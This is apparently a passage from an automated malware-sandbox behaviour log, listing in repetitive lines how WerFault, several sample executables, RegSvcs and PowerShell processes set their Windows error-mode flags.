Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\a\build3.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\a\build3.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\a\alex.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\a\alex.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\a\alex.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\a\alex.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\a\alex.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\a\alex.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\a\alex.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\a\alex.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\a\alex.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\a\alex.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\a\alex.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\a\alex.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\a\alex.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\a\alex.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\a\alex.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\a\alex.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\a\alex.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\a\alex.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\a\alex.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\a\alex.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\a\alex.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\a\alex.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\a\alex.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\a\alex.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\a\alex.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\a\alex.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\a\alex.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\a\alex.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\a\alex.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\a\alex.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\a\alex.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\a\alex.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\a\alex.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\a\alex.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\a\alex.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\a\alex.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\a\alex.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\a\alex.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\a\alex.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\a\wlanext.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\a\wlanext.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\a\wlanext.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\a\wlanext.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\a\wlanext.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\a\wlanext.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\a\wlanext.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\a\wlanext.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\a\wlanext.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\a\wlanext.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\a\wlanext.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\a\wlanext.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\a\wlanext.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000083001\e0cbefcb1af40c7d4aff4aca26621a98.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000083001\e0cbefcb1af40c7d4aff4aca26621a98.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000083001\e0cbefcb1af40c7d4aff4aca26621a98.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000083001\e0cbefcb1af40c7d4aff4aca26621a98.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
